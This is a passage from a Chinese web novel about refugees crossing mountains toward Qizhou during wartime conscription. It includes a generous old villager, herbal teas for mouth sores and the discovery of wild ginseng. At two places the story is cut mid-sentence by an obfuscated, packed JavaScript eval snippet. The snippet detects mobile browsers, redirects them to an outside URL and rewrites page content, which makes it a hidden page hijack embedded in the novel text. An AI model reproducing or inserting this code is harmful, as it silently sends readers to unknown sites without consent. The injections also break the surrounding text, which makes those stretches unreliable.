江夏静静地听着,时不时动笔画两下,灶膛里有柴火烧的噼里啪啦作响,窗外投射的光亮逐渐照亮了脚下的地面。 来福突然站起身,走到厨房门口,看着院门,但却没有吠叫,它的异常引起两人的注意。 “小夏?小夏?”院门口传来林氏的声音。江夏这才惊觉这天色都已经亮了。自己竟然在这里呆了这么久,怪不得林氏会担心地找来,想来是怕自己出了什么事。 她跑出厨房,冲着院门口的林氏招招手,“周大婶,我在这儿!” 看到江夏完好无损的出现,林氏提了一晚上心终于放下了。跑过去就对她说道,“你这孩子,走了这么久都不回来,都快吓死我了。你要有事,也该和我说一声啊。” 江夏躬身连连道歉,“对不起啊,周大婶,实在是我的不对,我忘记了。” “是老婆子我求这丫头帮我个忙,这才耽误她到现在。”老人也从厨房走出来,听到林氏的话,开口帮江夏解释道。 “小夏,这是……?”林氏回头看向江夏。 江夏也帮两人互相介绍,“这是我婶娘,我们一起进村乞讨的。周大婶,刚才那声响就是她摔倒发出的,她是……” 江夏说道着也愣住了,她忘记问她是谁?该怎么称呼了。 转头有些尴尬地看向老人,老人笑笑,也不在意,“我姓宋,夫家姓吴,叫吴八贵,你们可以喊我宋阿奶,也可以喊我吴阿奶。” “啊?!”林氏惊呼,“你家就是那瘸腿老头说的还留在村里的那户人家啊” “你们去过村西头那瘸腿的老朱家了?那老头可不是个好脾气的人,被骂了吧?”老妇人的话虽是疑问句,但语气却十分肯定。 “呃……”林氏看了一眼江夏,江夏问道:“宋阿奶,你对他很了解?” “都是一个村的,抬头不见,怎么能不了解。 他那人啊,年轻的时候就好吃懒做,把父母留下的一些田产全败了。唯一的儿子和我大儿子一起被征去服兵役,至今未归。前头官府来征兵,他不肯去,把自己的两个孙女全卖了,打点了官员,把自己留了下来。可谁知啊,官府征了一次兵不够,又来征兵,这次他家没有姑娘可以卖了,他就自己把自己的腿打断,然后把自己媳妇推了出去。”宋阿奶的语气里满是不屑。显然对于他贪生怕死,拿家人顶包的行为很不喜。 “啊?!他不是说他还帮助村里一个傻子,所以那傻子才愿意给他打水吃吗?怎么对外人这么好,对家人就这样坏呢?”林氏疑惑地说道。 “他和你们说的,说是他帮了村里的张二赖?”江夏林氏不明所以,齐齐点头。 “胡说八道!”宋阿奶气的大骂,“不要脸的东西,还好意思往自己脸上贴金。那是他帮的张二赖吗?明明是他媳妇帮的。” 江夏和林氏齐齐愣住。 江夏不解,“可是,他要是只是为了逃避征兵,何必把自己的腿打的这么严重?我看他只能在地上爬啊?”这样他即使逃过征兵,也逃不走,只能在村里等死啊? 24. 善意恶意 “他当然是狠不下心的。他只打断了自己一条腿,养上一两个月也就好了,可他媳妇娘家的哥哥们不肯同意啊。 他媳妇是家里的老幺,上头有四个哥哥,都是在山里讨生活的猎户。朝廷征兵那会儿,他们恰好进山打猎,侥幸逃过一劫。后来想着自家小妹男人孩子都被强征走了,家里就她一个人,想接她一起走,就偷偷下山跑来村里。 哪成想,来了村里看到的不是自己妹妹,而是他这个瘫痪在床的妹夫。开始的时候,他还不承认呢,说是他媳妇自愿为他顶役的。可这么多年了,他几个舅子又哪里不知道他是什么样的人,自然不信他的鬼话,再一从村里人口中打听,知道事情的缘由后,几人气得肺都要炸了,也不管会不会闹出人命官司,直接将他两条腿都打断了。” 二人恍然大悟,原来是这样。 林氏狠狠的啐了一口:“呸,那样的人还算是人吗?自己怕死,就典卖孙女,还拿自己媳妇顶包,活该现在这样半死不活的躺在家里等死。” 江夏也有些后悔那时没把那人粮食拿走。拿他那样毫无人性的人,根本不配活在世上,粮食给他吃,纯粹是糟蹋了。 但现在后悔也于事无补了,转念一想,那人剩的那点粮食也不够他吃多久撑不了多久,等待他的也只会是死亡。不过是早死晚死的区别。 “好了好了,不提让人倒胃口的话题了。”宋阿奶忙岔开话题,将两人拉到厨房,拿起两个刚出锅的、还冒着腾腾热气的灰面馒头塞进两人手里,“来,刚蒸好的馒头,热乎着呢。” 江夏、林氏两人连忙双手接过,温热软乎的触感配着淡淡的香气直往鼻子里钻。两人对视一眼,却谁也没动口。 “咋了?咋都不吃啊?”宋阿奶一脸奇怪的看着她们,“嫌阿奶蒸的不好?” “不是不是!”二人连连摆手,江夏:“您蒸的这馒头闻着就香。只是我们还有好些家人朋友在山上等着,我们想留着,带回去和大伙儿一块分着吃。” 集体生活最忌讳的就是吃独食! “哎呦,留什么留!这儿还有好多呢?你们都拿走,都带回去!”宋阿奶指着满满一蒸屉的馒头对二人说道。 林氏忙开口拒绝:“使不得!阿婶,这可使不得!这么多馒头,得有三斤的面粉了吧。这太重了,我们不能收,你快拿回去吧。” 林氏一看这馒头的数量和大小,立刻就估算出大概所花的面粉。不说现在这兵荒马乱的年景,就是太平年月,三斤面粉也是厚礼,虽只是灰面。 “唉,要不是你们俩好心人路过,伸手拉了我这老婆子一把,我这把老骨头估计今天就交代在这里了。我要是死了,家里那躺在床上动弹不得的老头子还能活几天?你们是我们老两口的救命恩人,给你们呐,我这心里才安心。再说了,今天这一跤也让我摔明白了,这人呐,说不定什么时候就没了,人没了,这粮食剩着,不是白白便宜了不相干的人?与其便宜了别人,不如给你们!” 江夏皱眉:“不行阿奶。您的心意我们领了,但这实在太多了。我们一共十个人,您要是真心想谢,我们就每人拿您两个馒头,您看这样怎么样?” 江夏粗略数了一下,这里大概有四十个馒头,她们取二十个,正好取了个均值,这样也不算太占人家的便宜吧? 宋阿奶拗不过她,只能同意她的分法,拿了个干净的布袋将二十个馒头装好交给她,然后又偷偷拿了一个塞她手里,崖压低声音:“这个不算数,是阿奶单独给你的,拿着,路上垫垫肚子。” 江夏拿过,真心实意地说道:“谢谢阿奶!您和阿爷一定要保重身体,我们就先走了。” 宋阿奶站在门口,冲着她们挥挥手,来福就站在她脚边,尾巴垂在身后,缓缓摆动着,见到江夏她们回头,冲她轻吠了声,似乎是在告别。 江夏将手里握着的那个馒头从中间撕开,递给林氏一半,林氏也没客气,两人就这样一人一半分吃了。 林氏狠狠咬了一口,感慨道:“这个宋阿婶可真是个好人呐!” 江夏也点点头,走到半山腰时回头看了眼那片村庄。 ----------------- 还没走到山顶,周大几人就从一旁的树林里跑了出来,将二人吓了一跳。 周大走到林氏面前问道:“一切还顺利吧?怎么回来的比我们约定的时间要晚些?” 林氏笑着说道:“找到好东西了,我们暂时不用担心食物了。” 说完直接在路边坐了下来,将背篓放在一边,任由其他人去翻看背篓的东西,自己则揉着因为负重而有些酸痛的肩膀。 “大嫂,是啥好东西啊?”其他人兴奋地围了上来,将她盖在上面的树叶拨开,就看到满满一背篓的野栗子。 “嚯!好家伙,这么多啊?” “还有好东西呢?不过不在我这里,在小夏那里。”林氏的话将大家的目光吸引到江夏身上。 江夏正低头摸着江诚的脑袋安慰他,察觉到众人的目光,就将自己怀中一直抱着的布袋递到众人眼前。 “这是什么?”周二接过,就感觉到一股温热隔着布袋传到他的手中,打开一看,是一个个有他半个手掌大的灰面馒头。 “哪拿来的啊?”李木愣愣的问。 “傻!还能哪来的啊?当然是别人给的啊?” “可……谁能给你们这么多的馒头啊?” “山下一户老妇人,姓宋。她啊打水,天色黑,没看清脚下的门槛,被绊了一跤。是我和小夏路过,及时发现了她,这不,人家感激我们两个,就蒸了这许多的馒头给我们俩。其实还有更多,只是我俩都没好意思收了。”林氏的话语中满是自豪,她这一趟下山,收获可不小呢。 “趁现在还热乎着,你们快吃点啊。”林氏催促道。 周二给几人一人分了一个,分到林氏和江夏时,二人都摇头拒绝了,“你们吃吧,我们在山下吃过了。” 其他人也没多问,拿着馒头大口吃着。昨天晚食吃的早,到现在都没有吃东西,五脏庙早都已经空了。 周大拿着馒头慢慢边吃,边向林氏询问她们下山的详细情况。听到林氏说她在一户人家发现了一坛子腌菜,周大也很是欣喜,“腌菜?这倒是个好东西。原本也抱有多大的希望可以换到盐,能找到腌菜,倒也是意外之喜。”” “那可不是。这真是多亏了我,不然你们这些个甩手掌柜去,哪里能知道这坛子的藏身之处。不天天围着灶台打转,可摸不着门道。” 林氏洋洋得意的表情,惹得众人哈哈大笑,夸赞声此起彼伏。 吃完馒头,江夏问周大:“周大叔,我们现在盐的问题暂时解决了,那还要继续往岐州去吗?” “去!”周大直接决定,“原州、商州这些地方还是太小,岐州是西南一带数得着的大城,人多粮多,就算要躲兵灾匪祸,靠近这样的大城,总比呆在这儿南北不靠要强。所以与其耗在这里,不如往前闯闯看。” 江夏点点头,她也是偏向去岐州。和宋阿奶聊天得知,这附近几个村庄的人基本全都跑了,连个能打听消息、互相帮衬的人都没有。既然都是要躲在山里,那躲到岐州附近的山里至少要强些。 一来,万一真的有事,靠近大城消息灵通些,说不定能早一步知道局势变化。二来,按照常理,真要发生兵乱,朝廷也会优先顾着岐州这样的上州重镇。 主意已定,江夏一伙人收拾好行装,便继续朝着岐州方向出发了。 山下,江夏二人走后,宋阿奶重新打了盆水走到 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看老人还想再说些什么,宋阿奶打断他,“我厨房还热着些馒头,我去给你拿些过来。” “唉……”老人看着宋阿奶走出去的背影,叹息一声。 村西边的瘸腿老朱也在生火准备煮饭,多亏了江夏帮他把粮食从架子上拿了下来,不然今天他又得喝冷水。 不过他可不会感激江夏,边生火,嘴里边不干不净的骂着江夏。 那张二赖已经走了好几天了,也不知道什么时候回来,可别死外头了吧,那人虽是个傻子,可好歹四肢俱全,能帮他干些杂事。 这人啊,是不禁念叨的。 第二天刚过晌午,张二赖就回来了。不过他不是一个人回来的,他的后面还跟着四五个衙役。 当这群衙役撞开老朱家的门时,把他吓得够呛。原本凶神恶煞的脸顿时变得煞白,谄媚的说:“各位官老爷是找谁啊?家中就我一个瘸腿的老汉,服役我是万万不行的。” “谁说要你服役。这人你认识吧?”一个衙役将张二赖推到他面前,张二赖缩着脖子,脸上带着点傻笑和茫然,看到老朱后,笑容更大了,“阿叔。” “看来是认识啊。” “认得认得!”老朱看张二赖直接将他供出,也只能认下,“这是我们村的张二赖,是个傻子,他娘走没带上他,他就整天在外跑,好几日都不回来。多谢官爷把他送回来。” “送回来?”领头的衙役冷笑一声,“这人在县城里打伤了人,他没钱,他家里人又不在,他既然喊你阿叔,那这钱就你来替他还了吧。” 老朱脸上满是错愕,大呼出声:“这……这官爷,小老儿一个瘸子哪有钱还啊。再……再说了,我和他不熟的!就是一个村的,见面客套一下,这钱实在是不应该由我来还啊!” “哼!你说不熟就不熟了,你是在怀疑我们的办事能力吗?你信不信我抓你下大牢!”另一个衙役上前踹了他一脚,将他踹倒在地。 老朱趴在地上痛哭流涕,心里是恨死张二赖了,比对江夏还要恨。 想到江夏,老朱眼睛一转,转而对着这些衙役哭诉道:“小老儿家中的确还有些余银……” 他这话一出,几个衙役的眼中顿时冒出精光,对视一眼,对他呵斥道:“那还不赶紧交出来!” “小老儿倒是想啊。可……可前儿,一伙儿逃役的人趁着夜色跑进村劫掠物资,将我家中所有值钱的都拿走了。你看,我这脖子上还有那人拿刀威胁我留下的印子呢?” 几人往他脖子上一看,的确还有一道浅的不能再浅的刀痕。 见衙役的脸色有些难看,老朱赶紧补充道:“我听那伙儿人说,他们已经搜了很多村了,不仅有粮,还有钱财,还有很多的壮丁……” 25. 口疮疼痛 壮丁?! 要知道现在战局紧张,朝廷多次下令要求征兵。他们县令也为这兵丁一事急得冒火,他们这些手下的人日子也不好过。 张二赖本身也没有犯啥大罪,想要让他入狱是不可能的,牢房资源也不能随意浪费,更何况他们的权力也不够抓他入狱,今天走这一遭,就是想要吓唬他们一下,捞点油水。 可如果能够查到逃役的人员,就能够解了县令的急,说不定他们也能趁此在县令面前挂上号,职位往上升一升。 几人一合计,心中就有了成算,派了一个衙役回去禀明县令,其余人则等在老朱家。 这都晌午了,官爷呆在自己家,总不能让人干等着吧。 老朱看了眼家中少得可怜的粮食,咬咬牙将所有米都洗了下锅。抓着手里空空的粮袋,老朱没忍住,用烧火棍狠狠抽打着张二赖。 张二赖蹲在地上,双手抱着头,一声不吭的受着。等着老朱撒完气,站起身,搬来一堆柴火,在灶膛后烧火。 老朱看他这副痴憨样,满心憋闷。看看自己面前的刚从菜园里采摘的韭菜、菠菜和苋菜,再看一眼大爷似的呆在堂屋的几个衙役,想了想还是从一旁的一个罐子里掏出四个鸡蛋。 这是自己媳妇当时养的鸡下的,后来媳妇被征走后,鸡也被他那些大舅哥们带走了。这四个鸡蛋是他家中全部的荤腥了。 一盘鸡蛋炒韭菜,一盆鸡蛋汤,再加两盘清炒的素菜很快就烧好端上桌。 转头谄媚的对几位衙役说道:“这家中的钱财粮食都被那些人拿走了,只有这些,饭菜简陋,还望各位官爷不要嫌弃。” 几位衙役大马金刀的往那凳子上一坐,看了眼菜色,撇了撇嘴,眉眼中暗含嫌弃,“行了,别废话了。要是你说的是真的,待我们禀报了县令,自然能网开一面,可你要是说假话欺骗我们……”那人冷哼一声,话却没有说完。 “小人不敢啊!” “哼!谅你也不敢!”几人将所有饭菜一扫而光,完全没想到要给老朱和张二赖留点。饭后就坐在凳子上闲聊着,老朱腿不好,就让张二赖将碗碟都收到厨房去。 去县衙的那人回来的很快,身后不仅跟着数十名官兵,连县尉都来了。 领头的衙役立刻迎了上去,“大人,您怎么来了?这大热天的,让下面的人跑一趟就好了,小心中了暑气。”说着,还用衣袖做扇,替他扇风,将他迎至老朱家的院子里。 “好了,张三说你们探听到逃役人的消息了?在哪里?” 这县尉身穿蓝色官服,膀大腰圆,再在烈日下走了一遭,此刻已是满头大汗,坐在衙役搬来的凳子上,拿着手帕不住擦着脑门上的汗水。 “是这老汉说的,他说之前有人来他们村抢劫物资粮食,其中还有不少正当年纪的壮丁。”说着,对手下的一个衙役使了个眼色,那人便将老朱拖到了县尉面前。 老朱又将那话对着县尉说了一遍,说那些人是从山上跑下来的,抢了食物和钱财就又跑回去,里面还有不少青壮年。 他这话说的毫无心理负担,这背后的大山里不知道藏了多少人,不说别的,就他那几个大舅哥之前不就是靠躲在大山里,才躲过兵役的吗? 县尉吐出一口热气,“这些人,不服役,竟然还暗中落草为寇,劫掠村民,此等天理难容的事,既然看见就不能坐视不理,今日,一定要把这些贼子捉拿归案。” “大人说的是。大人与县令为国为民,殚精竭虑,这些小民不识好歹。” “好了,这次县令下令,一定要将那些逃役的抓回来,要是遇到不服的人,可直接打死。既然是你找到证人的,那就由你带队上山找人。” “是。”领头的衙役也很是高兴,认为县尉这是重用他。 老朱看到衙役们想要将他也带上山,连忙拒绝道:“大人,小人腿脚不便,上山也帮不上什么忙。”说着,将张二赖推了上去,“这人虽是傻子,但他常年往后面这片山上跑,比小人熟悉山路,大人们可以把他带上。” 衙役们看着老朱断掉的双腿,想想觉得他说得有道理,带他是还要让一个人背着他吗?不可能的。 于是五个衙役带着十几个官兵和张二赖就上了山。 这张二赖不愧是从小就在山上跑的人,对于山上的一切那是十分熟悉,通过草叶倒伏和动物粪便,竟还真让他找到好些躲藏在山里人家。 一时间,山中哭号嘶厉声不断…… 当然,这时,江夏一伙儿人早已翻过好几座山,快到商州境内,对于这事是一无所知的。 这时他们正躲在一棵大树底下乘凉,等日头稍稍下去些再出发。 江夏将绑在自己布鞋外面的草鞋绑紧了,布鞋的鞋底已经磨得很薄了,不说踩在石头上,就是踩在木头上也硌的脚底板疼。 “小夏,阿诚,吃桃子吗?”周二从自己的背篓里拿出两个野毛桃,这是他们在路上发现的,比起之前的那棵树,这棵树结的果子更大也更甜些。 江夏和江诚齐齐摇头,“不用了,周二叔。”这里没水,直接吃她吃不下。江诚则是偏向于吃软桃,这桃子偏脆,他也不喜欢。 “都不吃?”周二奇怪,转头对着李木和陈东几人问道:“你们吃吗?”他们也摇摇头。 周二这是真奇怪了,用衣袖擦了擦桃子,一口咬下。“咋都不吃?这桃子不是挺甜的吗?” 李木右手撑着自己的下颌,语气郁闷的说:“吃不了,太硬了。” “年纪轻轻的,牙口就不好了?”周二取笑道。 “不是的周二哥,”陈东回他,“我和李木嘴里都生了口疮,这桃子硬,吃着疼。” “你们也长了口疮?”刘老三听到他们的话,也插嘴说道:“我也长了,三个!最近几天吃饭都吃不香了。” 三人如同知己一般,热烈地讨论着这几天自己的“病情”,说了半天,听到周二在一旁“咔嚓、咔嚓”啃着桃子,三人不由自主看向他,“二哥,你没长吗?” 周二:“长了啊,但就一个,两三天就好了。”说着又咬了口桃子,看向其他人,“大哥、大嫂,你们长口疮了吗?” 林氏点点头,皱眉摸了摸自己脸颊:“都长了,好些天了,也不见好,疼的我心烦。” 周大:“因为我们已经在这大山里待太久了,加上最近天气越来越热,我们又经常吃烤鱼烤肉之类的食物,时日久了,这才会长口疮。往年,我和老二进山打猎,时间久了,就会患上口疮,除了疼些,倒也没太多影响的。” “这倒是。”周二点点头,想到之前自己之前和大哥进山打猎时,一旦长了口疮,那是恨不得将嘴都给挖了。 “可……这次我怎么好的这么快啊?而且还没有之前那么疼了,往日那可是要疼上十天半个月的。” “可能……是因为周二叔,你喝了我给你的茶。”江夏说,“我和阿诚也没长。” “茶?什么茶?”其他人看着周二。 周二:“就你每天给我喝的,用陶罐煮的苦苦的水?” 江夏点点头。 她不喝生水这事大家都知道。他们这些人有时候赶路渴了,遇到水坑、小溪就捧一捧水直接喝了。她不行,即使再渴,也坚持要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江夏笑笑,“行啊,那等我们找到水源,我多煮一些,大家装了在路上喝。” “小夏姐,有没有不苦的呀,这水一点也不好喝。”子安坐在林氏旁边,听到说要喝那苦水,小脸忍不住皱到一起。 林氏:“傻不傻,这是药。药哪有不苦的。” 江夏安慰他,“子安要是不喜欢这苦味,等你口疮好了,我给你往这水里加些柠檬,它就没有那么苦了。要是有蜂蜜就更好了,加些蜂蜜就是甜滋滋的。” “柠檬?就是你这棵小树结的果子?”子安有些怀疑,他被江诚骗过,也尝过那果子,酸的人眼泪都要出来了,“这酸果子加进去,不会又酸又苦吗?”想到那奇怪的味道,子安颤抖了一下。 江夏被他这样子逗笑了,“不会的,酸味会和苦味中和,增加一点甜度。” “小夏,你别理他。喝个药还要人哄,就该给你喝最苦的。”林氏话说的狠,但眉眼却带着笑。 江夏也没把她这话当真,但却假装同意的笑着点点头。子安看看自己娘,又转头看看江夏,最后撅嘴很不开心地坐在那里。 当天黄昏时,在一处小溪旁停下生火做饭时,江夏就打水煮了满满一陶罐的蒲公英花茶,这次,所有人都喝了,甚至还模仿着江夏在吃完饭后,用它漱口。 就这样坚持了几天后,众人惊喜的发现,好像真的不太疼了,因此对于这花茶的信任达到顶峰。 不过也因为消耗增多,蒲公英花的存量以肉眼可见的速度降了下去。 26. 偶得人参 眼看着蒲公英花在一天天减少,江夏就在思考还能用什么替代它。可她毕竟不是中药学出身,对于很多草药的了解可能还不如周大周二。 搜肠刮肚,从自己认识的为数不多的植物库中,想到了薄荷。因为她喜欢吃薄荷茶牛肉,奶奶就在自家门口的菜园里种了些薄荷,每次做菜时,就会掐几片嫩叶放进去。 而且薄荷牙膏在后世十分常见,各大牙膏品牌基本都会做薄荷口味,既能抗菌消炎,又能清新口气。 更关键的是,薄荷这种植物在温暖的环境中,一整年都可以生长,不像蒲公英,花期就那一个多月,过了就没了。 江夏将自己的想法告诉其他人。 薄荷大家都很是熟悉,现在天气炎热,在林中行走,免不了会被蚊虫叮咬,这时将薄荷叶揉碎了往上一敷,那股清凉劲儿立马就能止痒这是他们常用的法子。 不过拿它煮水喝?这倒是头一回听说。 延州位于西北,冬季漫长且气候寒冷,因此,比起喝茶,他们更爱喝酒,喝烈酒。 倒是有听说南方人爱茶,他们不理解,这几天他们喝花茶,那茶又苦又涩,还有花朵,喝着实在憋屈,时不时就要往外吐一口。要不是逃难,他们估计这辈子都不会去尝这些用花草泡出来的茶。 但是现在尝到了这花草泡水喝的好处,他们也对此上了心,想着要是发现了,一定要多采些以备用。 薄荷不算什么稀罕物,只要有心,在那些阳光充足的坡地、林边草少的地方,总能发现。两天下来,大家都装了一布袋的新鲜薄荷叶。 煮了水一尝,发现喝蒲公英花茶还真不一样,喝下去一股子清凉劲儿,还带着股香味。 不过比起江夏用热水泡,他们更爱直接用冷水。冰冰凉凉的山泉水中撒一点薄荷,一口下去,那股凉意顺着嗓子眼直通下去,连带着他们被太阳晒得发懵发晕的脑袋,也立马清醒不少。 这日,他们跟往常一样,找了片林子歇脚。不用谁说,都自然的摸出自己装水的家伙什儿,“咕咚咕咚”大口喝着薄荷水。 周大灌了几口,抹了抹自己的嘴,抬头瞅了眼天上的太阳。连日的高温暴晒,地上的土都快要冒烟了。就算他们躲在树荫底下,那热气也一股股的从脚底下往上蹿。 “大哥,你看啥呢?”周二问道。 “这日头太毒了,闷得慌。我瞅着啊,怕是过不了几天就要下雨。” “下雨?” 这可真不是个好消息,众人脸色变得难看。 这山路本就崎岖难走,但好歹还是硬的,能走人。可一旦下雨,要是还连着下雨,这路得烂成啥样?还不得多耽误好些天? “唉,就盼着这雨别下太大太久……” 周大这话说了还不到五天,一场雨在夜里猝不及防的落了下来,将众人从睡梦中惊醒。 豆大的雨点打在树叶上,发出劈里啪啦的声响。雨势渐大,火都没有办法点燃,众人只能暂时躲在树下等雨停。 原以为这雨会来去匆匆,可直到天色将明,雨势也丝毫不见小,反而越下越大,“哗哗哗”倾盆大雨倾天而下,仿佛天河决了堤。 周大抹了把脸上的雨水,“不能再呆在这里了,得找个地方躲躲雨,再淋下去,别说他们几个小的,就是我们大人也扛不住。” 众人收拾好自己东西,排成一列,在瓢泼大雨中艰难前行。 灰沉沉的天空下是密集的雨帘,大雨落在地面溅起一个个小水泡,乳白色的水雾升腾弥漫,严重影响视线,看稍远些的地方就是白雾缭绕,一片朦胧。 而且这种天气赶路十分不方便,稍不留神就会滑倒摔跤。 地面被雨水冲刷得泥泞不堪,江夏感觉自己每走一步,脚似乎陷在地里,费力将自己的脚从泥土中拔出来,厚厚的泥土粘在草鞋底,时不时就要在一旁的草叶上将它蹭去。 等到众人找到一处可以躲雨的山洞时,已经花了大半个时辰了。 山洞不大,也不高,里面一股动物粪便的臭味。周大几个男人点着火折子,弯腰进去仔细搜寻一番,确定洞里安全后,将洞里的一些动物筑巢的枯枝连着动物粪便一起点着了。 “现在雨这么大,估计也找不到什么干柴点火。” 说完,让林氏带着江夏先进洞换衣服,等她们换好后,他们再进去。 等到所有人都换上干爽的衣服后,湿衣服就搭在周二他们刚冒雨砍来的树杈上,靠着火堆烘烤着。 树杈旁边还堆放着许多的潮湿的树枝,“这雨估计一时半会儿也停不了,我们捡了些树枝放在旁边烤着,不然这雨不停,晚上没柴烧,人容易受寒。” 顶着大太阳赶了一个月的路,众人都有些疲倦,这会儿能安安稳稳地坐在山洞里,听着外面噼里啪啦的雨声,凉丝丝的水汽飘进来,别提多舒坦了。 围着火堆说说笑笑,用陶罐接点雨水,简单用过一餐后,就早早歇下了。 第二天醒来,洞外依旧是一片水帘,雨水落在层层叠叠的树叶上,汇聚成线落到地面。 众人笑着剥着板栗壳,时不时扔一个到火里烤着,边剥边吃,洞里满是烤板栗的甜香和说话声。 大雨一连下了四天。 到了第四天,这恼人的雨还在稀里哗啦的下着,砸在树叶上发出清脆的声音。 洞里的气氛却变得很安静,大家坐在洞里无聊地看着外面,再也没人有心情去说些什么了。雨声似乎成了这一方天地中唯一的旋律,单调的令人心烦。 第五天一早醒来,看着外面的雨势似乎终于小了些,被憋坏的众人迫不及待地冲出山,贪婪地呼吸着雨后山林中的清新空气。 洞里虽然淋不到雨,可地面会返潮,而且光靠烤火,长时间没晒太阳,连带着衣服都染上股怪味。 雨后的山林中,空气清新,气温凉爽适宜。 林氏背着个背篓,“可算能透口气了!得赶紧去找些野菜,这几天光吃板栗,都快吃吐了。”林氏说。 “我也去。”江夏立刻响应,拎了个竹篮,跟着林氏去采摘野菜了。两个早就闷得发蔫的小孩欢呼一声,像个小尾巴一样跟在她们身后。 周大则叫上刘老三,跟在她们后面,免得她们走太远,发生意外。 其余人则在周二的带领下,看看能不能猎到些野鸡兔子之类的。 这大山里的野菜是真的多,灰灰菜、苦荬菜、蕨菜、大叶芹还有野葱野韭之类的野菜。而且不仅多,各个还长得十分肥大,绿油油的拿在手里看着就喜人。 好多原本江夏不认识的野菜,跟着林氏采了几回,也基本认识了。 现在林氏也放心让她一个人采了,不再像之前那样,手把手教她如何分辨野菜和野草,以及野菜的好坏。 江夏就带着江诚在林氏旁边采摘着,不多一会儿篮子就装满了。江诚拎着篮子走到周大身边,将菜倒进他背着的背篓里,又重新回到江夏身边,将她摘了放在一旁的菜放进篮子里。 他们姐弟俩就这样一个摘一个送,配合得很是默契。 这片林子高大茂密,野草灌木肆意生长,江夏蹲下身埋头挖菜,小小的身影瞬间被这浓密的绿意吞没,从稍远些的地方望去,只能看见草叶轻微晃动。 周大不放心地提醒她不要走远,就在这一片摘就可以了。江夏抬头声音清脆地应了声,继续埋头搜寻着周围的野菜。 往前挖了不过一米的距离,拨开杂草,发现一处空地出现在眼前。 说是空地也不太准确,因为很小,不过二十见方的大小,但这里杂草稀疏,只中间挺立着一株叶片平直宽大的植株。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752447|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咦?”江夏从没见过这种植物,凑近些,还能嗅到一股清冽微苦的草木气息。 好奇心被勾起来,想要将它挖走,带回去画下来。 伸手去挖底下的土,挖了半天才看见下面黄色的根茎,小心翼翼用小竹刀将根茎周围的土挖开,却见它根茎繁多杂乱,十分难挖。 江诚送菜回来,见自己阿姐趴在地上挖,明白她是想将它带走,也俯身和她一起。两人合力挖了半天,才勉强将大半的根须全部挖出来。 江夏看着自己手里东西,一时有些愣住。 这东西主根粗壮,呈深黄色,形似胡萝卜,周围附着无数细长弯曲的根须,沾着新鲜的泥土。 “这不会就是人参吧……”江夏喃喃自语。 “人参?!”江诚也很是震惊。 这边周大见江诚迟迟不来送菜,雨又开始逐渐变大,生怕他俩出啥事,赶紧大声呼喊他们一起回去。 听到周大声音,他俩才发现雨又开始下大了,赶紧将土重新踢回去,跟着周大他们匆匆跑了回去。 回到山洞,周二他们也因为这突然变大的雨回来了,正在烤火。 江夏从竹篮里将自己刚挖的根茎递到周大面前,问:“周大叔,你看,这是不是人参?” 此话一出,洞里所有人的目光都看向江夏手里那黄色的根茎,根茎肥大,周围还有许许多多的根须。 周大接过,凑近火堆,皱眉凝视着那根茎,“有点像,不过……我也从没见过真正的人参长什么样,不能下定论。” 人参这种金贵药材,哪里是他们这种普通老百姓可以接触到的,即使去药铺买,那也是买人参片,好几两银子才能买到几片的那种。 “我知道一种方法,”周二突然开口,掰了一点根须在水里涮了涮,就塞到自己嘴里,嚼吧嚼吧,突然眉头皱起。 “怎么了?” “唔……有点苦……还有股土腥味。” “嗐。你吓死个人。”大伙儿松了口气。 周二正要再说话,就感觉一股温热粘稠的液体,从自己鼻子往外流。 “二哥,你流鼻血了!”李木惊呼。 周二下意识用手一抹,指尖一片鲜红,“看来这是真人参……” “真的啊?!”林氏也大为震惊,“这么大,得多少年啊?” 这人参有他两指粗,一掌多长,周大估算了一下,“这应该有几十年了吧?” “几十年?!”众人惊呼。 “这得值多少钱啊?”刘老三喃喃道:“小夏,你发财了呀!” “发什么财!”周二一巴掌打他脑袋上,另一只手还捂着自己鼻子,“这是人参!能救命的!现在钱有这珍贵吗?不管你卖多少钱,等你需要它救命的时候,你都没有办法以同样的价格买到它。” “是哦。二哥你说的对。”刘老三摸了摸被周二拍疼的脑袋,转头一脸认真的对江夏说:“小夏啊,这不能卖,得留着,能救命的。” 说完,又紧紧盯着江夏手中的人参。 “当然不会卖啊,我们现在在这大森林中,保命的东西自然越多越好。但……”江夏话音一转,“等我们成功从大山里活着到达岐州,到那时如果需要银钱打点的话,可能就会把它卖掉。” 江夏这句话等于告诉众人,现在人参在她手中,但如果万一未来大家需要用到它的时候,她也不吝惜和大家一起分享。 “小夏,这人参是你发现的,本就该是你的,你不用想着我们。”周大说。 “周大叔,我说这话不是是说哄你们开心的。”江夏的目光从众人身上扫过,“我们这一路走来,也算是过命的交情了。不是亲人,却也胜似亲人。如今不可能说同的了苦,却共不了甘,对吧。一个人参而已,还不至于影响到我们的感情。” 27. 意外发生 因为江夏挖到人参这件喜事,连带着多日下雨带来的憋闷和烦躁也得到极大的缓解。 晚食时又恢复之前热闹的气氛。 “这处能挖到人参,说明是个好地方,明天我们再去找找看,说不定啊,还能再找到呢。”陈东提议。 其他人也有些跃跃欲试,“是啊,周大哥,我们之前是不认识人参长什么样子,这才没有发现这山里有人参,不知道错过多少呢。现在小夏挖到了,我们就照着她那叶子去找,肯定不会出错。” “对啊。这几天反正在下雨,也走不了,还不如去找找有没有人参。多找一些,我们去到岐州后卖一些,也就不用为钱发难了。” 大家七嘴八舌的议论着,人参的诱惑力对他们而言不亚于金子。 周大被众人的话说得也很是心动,“也行,既然大家都有这个想法,那明天我们就去找找看,但有一点一定要记住,不能走太远。” 大家纷纷应好。 